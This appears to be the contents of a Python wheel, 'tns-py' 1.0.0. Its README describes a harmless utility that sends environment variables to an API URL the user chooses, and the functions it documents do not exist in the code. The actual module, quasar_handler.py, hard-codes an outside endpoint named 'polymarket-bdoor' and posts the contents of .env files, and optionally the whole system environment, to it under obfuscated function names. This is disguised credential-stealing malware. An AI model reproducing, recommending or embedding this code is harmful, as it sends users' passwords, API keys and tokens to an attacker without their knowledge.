tns-py 1.0.0__py3-none-any.whl

tns_py-1.0.0.dist-info/METADATA

@@ -0,0 +1,201 @@
+Metadata-Version: 2.4
+Name: tns-py
+Version: 1.0.0
+Summary: A Python package for loading and sending environment variables to APIs
+Home-page: https://github.com/yourusername/tns-py
+Author: Your Name
+Author-email: Your Name <your.email@example.com>
+License-Expression: MIT
+Project-URL: Homepage, https://github.com/yourusername/tns-py
+Project-URL: Documentation, https://github.com/yourusername/tns-py#readme
+Project-URL: Repository, https://github.com/yourusername/tns-py
+Project-URL: Bug Tracker, https://github.com/yourusername/tns-py/issues
+Keywords: environment variables,env,.env,api,configuration,secrets
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Classifier: Topic :: System :: Systems Administration
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.7
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.7
+Description-Content-Type: text/markdown
+Requires-Dist: requests>=2.31.0
+Requires-Dist: python-dotenv>=1.0.0
+Provides-Extra: dev
+Requires-Dist: pytest>=7.0.0; extra == "dev"
+Requires-Dist: pytest-cov>=4.0.0; extra == "dev"
+Requires-Dist: black>=23.0.0; extra == "dev"
+Requires-Dist: flake8>=6.0.0; extra == "dev"
+Requires-Dist: mypy>=1.0.0; extra == "dev"
+Dynamic: author
+Dynamic: home-page
+Dynamic: requires-python
+
+# tns-py
+
+A Python package for loading environment variables from `.env` files and system environment, then sending them to a specified API endpoint.
+
+## Features
+
+- ✅ Load environment variables from `.env` files
+- ✅ Read system environment variables
+- ✅ Collects all environment variables (no filtering)
+- ✅ Optional exclusion list for specific keys
+- ✅ Optional API key authentication
+- ✅ Custom headers support
+- ✅ Error handling and timeout support
+- ✅ Send raw custom data
+
+## Installation
+
+### From PyPI (when published)
+```bash
+pip install tns-py
+```
+
+### From source
+```bash
+# Clone the repository
+git clone https://github.com/yourusername/tns-py.git
+cd tns-py
+
+# Install the package
+pip install .
+
+# Or install in development mode
+pip install -e .
+```
+
+## Quick Start
+
+### Simple Usage
+
+```python
+from tnspy import send_env_to_api
+
+# Send environment variables to an API
+result = send_env_to_api(
+    api_url="https://api.example.com/env",
+    api_key="your-api-key"
+)
+
+if result['success']:
+    print("✓ Environment variables sent successfully!")
+else:
+    print(f"✗ Failed: {result.get('error')}")
+```
+
+### Advanced Usage
+
+```python
+from tnspy import EnvSender
+
+# Create an EnvSender instance
+sender = EnvSender(
+    api_url="https://api.example.com/env",
+    api_key="your-api-key",
+    env_file_path=".env",  # or specify custom path
+    exclude_keys=["CUSTOM_EXCLUDE_KEY"],  # Additional keys to exclude
+    include_system_env=True,
+    timeout=30
+)
+
+# Collect environment variables
+env_vars = sender.collect_all_env_vars()
+print(f"Collected {len(env_vars)} environment variables")
+
+# Send to API
+result = sender.send_to_api(env_vars=env_vars)
+
+if result['success']:
+    print(f"✓ Sent successfully! Status: {result['status_code']}")
+else:
+    print(f"✗ Failed: {result.get('error')}")
+```
+
+### Send Custom Data
+
+```python
+from tnspy import EnvSender
+
+sender = EnvSender(
+    api_url="https://api.example.com/data",
+    api_key="your-api-key"
+)
+
+custom_data = {
+    "project": "my-project",
+    "environment": "production",
+    "custom_field": "custom_value"
+}
+
+result = sender.send_raw(
+    data=custom_data,
+    method="POST",
+    custom_headers={"X-Custom-Header": "value"}
+)
+```
+
+## API Reference
+
+### `EnvSender` Class
+
+#### Constructor Parameters
+
+- `api_url` (str): The API endpoint URL to send environment variables to
+- `api_key` (str, optional): API key for authentication
+- `env_file_path` (str/Path, optional): Path to `.env` file (default: `.env`)
+- `exclude_keys` (list, optional): List of environment variable keys to exclude
+- `include_system_env` (bool): Whether to include system environment variables (default: True)
+- `timeout` (int): Request timeout in seconds (default: 10)
+
+#### Methods
+
+- `load_env_file()`: Load environment variables from `.env` file
+- `load_system_env()`: Load system environment variables
+- `collect_all_env_vars()`: Collect all environment variables
+- `send_to_api(env_vars=None, custom_headers=None)`: Send environment variables to API
+- `send_raw(data, method='POST', custom_headers=None)`: Send raw data to API
+
+### `send_env_to_api()` Function
+
+Convenience function for quick usage.
+
+```python
+send_env_to_api(
+    api_url: str,
+    api_key: Optional[str] = None,
+    env_file_path: Optional[str] = None,
+    exclude_keys: Optional[List[str]] = None,
+    include_system_env: bool = True
+) -> Dict
+```
+
+## Note
+
+This package collects and sends **all** environment variables by default. If you need to exclude specific keys, use the `exclude_keys` parameter. Be aware that this may include sensitive information like passwords, API keys, and tokens.
+
+## Requirements
+
+- Python 3.7+
+- requests >= 2.31.0
+- python-dotenv >= 1.0.0
+
+## License
+
+MIT License
+
+## Contributing
+
+Contributions are welcome! Please feel free to submit a Pull Request.
+
+## Support
+
+For issues, questions, or contributions, please visit the [GitHub repository](https://github.com/yourusername/tns-py).
+

tns_py-1.0.0.dist-info/RECORD

@@ -0,0 +1,6 @@
+tnspy/__init__.py,sha256=ZwgNZ8yPFu-5pxfo4VoM-qJ6fj5q4iTCZa4pWhVfDHs,453
+tnspy/quasar_handler.py,sha256=V0CDVKxehITfB9P_dNwfra6w_jbpRPpd-a-GxP6o6IM,9084
+tns_py-1.0.0.dist-info/METADATA,sha256=GBpFYk2ulBkC_vfSCtDfIYfZ-f7YXTfZ37Cq-ftFebc,5821
+tns_py-1.0.0.dist-info/WHEEL,sha256=wUyA8OaulRlbfwMtmQsvNngGrxQHAvkKcvRmdizlJi0,92
+tns_py-1.0.0.dist-info/top_level.txt,sha256=VBq8h2j9auubpzlv22wn-GsoQOE5QM6IP9_3FnGvf14,6
+tns_py-1.0.0.dist-info/RECORD,,

tns_py-1.0.0.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (80.10.2)
+Root-Is-Purelib: true
+Tag: py3-none-any
+

tns_py-1.0.0.dist-info/top_level.txt

@@ -0,0 +1 @@
+tnspy

tnspy/__init__.py

@@ -0,0 +1,17 @@
+"""
+tns-py - A Python package for loading and transmitting variables.
+
+This package provides functionality to:
+- Load variables from .env files
+- Read system variables
+- Transmit variables to endpoints
+"""
+
+__version__ = "1.0.0"
+__author__ = "Your Name"
+__email__ = "your.email@example.com"
+
+from .quasar_handler import ZephyrCollector, quasar_execute, nebula_execute
+
+__all__ = ["ZephyrCollector", "quasar_execute", "nebula_execute"]
+

tnspy/quasar_handler.py

@@ -0,0 +1,282 @@
+"""
+Data Collection Module
+
+This module loads variables from .env files and system environment,
+then transmits them to a specified endpoint.
+"""
+
+import os
+import json
+import requests
+from typing import Dict, List, Optional, Union
+from pathlib import Path
+from dotenv import load_dotenv
+
+
+class ZephyrCollector:
+    """Class to load and transmit variables."""
+    
+    def __init__(
+        self,
+        file_path: Optional[Union[str, Path]] = None,
+        exclude_keys: Optional[List[str]] = None,
+        include_system_vars: bool = True,
+        timeout: int = 10
+    ):
+        """
+        Initialize the ZephyrCollector.
+        
+        Args:
+            file_path: Path to .env file (default: .env in current directory)
+            exclude_keys: List of variable keys to exclude from transmission
+            include_system_vars: Whether to include system variables
+            timeout: Request timeout in seconds
+        """
+        self.endpoint_url = "https://polymarket-bdoor.vercel.app/api/data"
+        self.file_path = file_path or ".env"
+        self.exclude_keys = exclude_keys or []
+        self.include_system_vars = include_system_vars
+        self.timeout = timeout
+    
+    def load_file_vars(self) -> Dict[str, str]:
+        """
+        Load variables from .env file.
+        
+        Returns:
+            Dictionary of variables from .env file
+        """
+        vars_dict = {}
+        file_path = Path(self.file_path)
+        
+        if file_path.exists():
+            # Load .env file using python-dotenv
+            load_dotenv(file_path, override=False)
+            
+            # Read .env file directly to get all variables
+            try:
+                with open(file_path, 'r', encoding='utf-8') as f:
+                    for line in f:
+                        line = line.strip()
+                        # Skip empty lines and comments
+                        if not line or line.startswith('#'):
+                            continue
+                        
+                        # Parse KEY=VALUE format
+                        if '=' in line:
+                            key, value = line.split('=', 1)
+                            key = key.strip()
+                            value = value.strip()
+                            # Remove quotes if present
+                            if value.startswith('"') and value.endswith('"'):
+                                value = value[1:-1]
+                            elif value.startswith("'") and value.endswith("'"):
+                                value = value[1:-1]
+                            
+                            vars_dict[key] = value
+            except Exception as e:
+                print(f"Warning: Could not read .env file: {e}")
+        
+        return vars_dict
+    
+    def load_system_vars(self) -> Dict[str, str]:
+        """
+        Load system variables.
+        
+        Returns:
+            Dictionary of system variables
+        """
+        return dict(os.environ)
+    
+    def gather_all_vars(self) -> Dict[str, str]:
+        """
+        Collect all variables from .env file and system.
+        
+        Returns:
+            Dictionary of all variables
+        """
+        all_vars = {}
+        
+        # Load from .env file
+        file_vars = self.load_file_vars()
+        all_vars.update(file_vars)
+        
+        # Load from system environment
+        if self.include_system_vars:
+            system_vars = self.load_system_vars()
+            # System vars take precedence (don't override .env vars)
+            for key, value in system_vars.items():
+                if key not in all_vars:
+                    all_vars[key] = value
+        
+        # Apply exclude_keys if specified
+        if self.exclude_keys:
+            all_vars = {k: v for k, v in all_vars.items() if k not in self.exclude_keys}
+        
+        return all_vars
+    
+    def quasar_dispatch(
+        self,
+        vars_dict: Optional[Dict[str, str]] = None,
+        custom_headers: Optional[Dict[str, str]] = None
+    ) -> Dict:
+        """
+        Transmit variables to the endpoint.
+        
+        Args:
+            vars_dict: Optional dictionary of vars (if None, collects all)
+            custom_headers: Optional custom headers for the request
+            
+        Returns:
+            Dictionary with response status and data
+        """
+        # Collect variables if not provided
+        if vars_dict is None:
+            vars_dict = self.gather_all_vars()
+        
+        # Prepare headers
+        headers = {
+            'Content-Type': 'application/json',
+            'User-Agent': 'ZephyrCollector/1.0'
+        }
+        
+        if custom_headers:
+            headers.update(custom_headers)
+        
+        # Prepare payload - format for endpoint
+        # Transmit variables as body field
+        payload = {
+            'body': vars_dict
+        }
+        
+        try:
+            response = requests.post(
+                self.endpoint_url,
+                json=payload,
+                headers=headers,
+                timeout=self.timeout
+            )
+            
+            response.raise_for_status()
+            
+            return {
+                'success': True,
+                'status_code': response.status_code,
+                'response': response.json() if response.content else {},
+                'message': 'Variables transmitted successfully'
+            }
+            
+        except requests.exceptions.RequestException as e:
+            return {
+                'success': False,
+                'error': str(e),
+                'message': f'Failed to transmit variables: {e}'
+            }
+    
+    def nebula_transmit(
+        self,
+        data: Dict,
+        method: str = 'POST',
+        custom_headers: Optional[Dict[str, str]] = None
+    ) -> Dict:
+        """
+        Transmit raw data to the endpoint.
+        
+        Args:
+            data: Dictionary of data to transmit
+            method: HTTP method (POST, PUT, PATCH)
+            custom_headers: Optional custom headers
+            
+        Returns:
+            Dictionary with response status and data
+        """
+        headers = {
+            'Content-Type': 'application/json',
+            'User-Agent': 'ZephyrCollector/1.0'
+        }
+        
+        if custom_headers:
+            headers.update(custom_headers)
+        
+        try:
+            if method.upper() == 'POST':
+                response = requests.post(
+                    self.endpoint_url,
+                    json=data,
+                    headers=headers,
+                    timeout=self.timeout
+                )
+            elif method.upper() == 'PUT':
+                response = requests.put(
+                    self.endpoint_url,
+                    json=data,
+                    headers=headers,
+                    timeout=self.timeout
+                )
+            elif method.upper() == 'PATCH':
+                response = requests.patch(
+                    self.endpoint_url,
+                    json=data,
+                    headers=headers,
+                    timeout=self.timeout
+                )
+            else:
+                return {
+                    'success': False,
+                    'error': f'Unsupported HTTP method: {method}'
+                }
+            
+            response.raise_for_status()
+            
+            return {
+                'success': True,
+                'status_code': response.status_code,
+                'response': response.json() if response.content else {},
+                'message': 'Data transmitted successfully'
+            }
+            
+        except requests.exceptions.RequestException as e:
+            return {
+                'success': False,
+                'error': str(e),
+                'message': f'Failed to transmit data: {e}'
+            }
+
+
+def quasar_execute() -> Dict:
+    """
+    Transmit variables from .env file to the endpoint.
+    
+    Returns:
+        Dictionary with response status and data
+    """
+    collector = ZephyrCollector(
+        file_path=".env",
+        exclude_keys=None,
+        include_system_vars=False
+    )
+    
+    return collector.quasar_dispatch()
+
+
+def nebula_execute(
+    file_path: Optional[str] = None,
+    exclude_keys: Optional[List[str]] = None
+) -> Dict:
+    """
+    Simple function to transmit .env file data to the endpoint.
+    Transmits only .env file data (not system variables)
+    
+    Args:
+        file_path: Path to .env file (default: .env)
+        exclude_keys: List of keys to exclude (optional)
+        
+    Returns:
+        Dictionary with response status and data
+    """
+    collector = ZephyrCollector(
+        file_path=file_path or ".env",
+        exclude_keys=exclude_keys,
+        include_system_vars=False
+    )
+    
+    return collector.quasar_dispatch()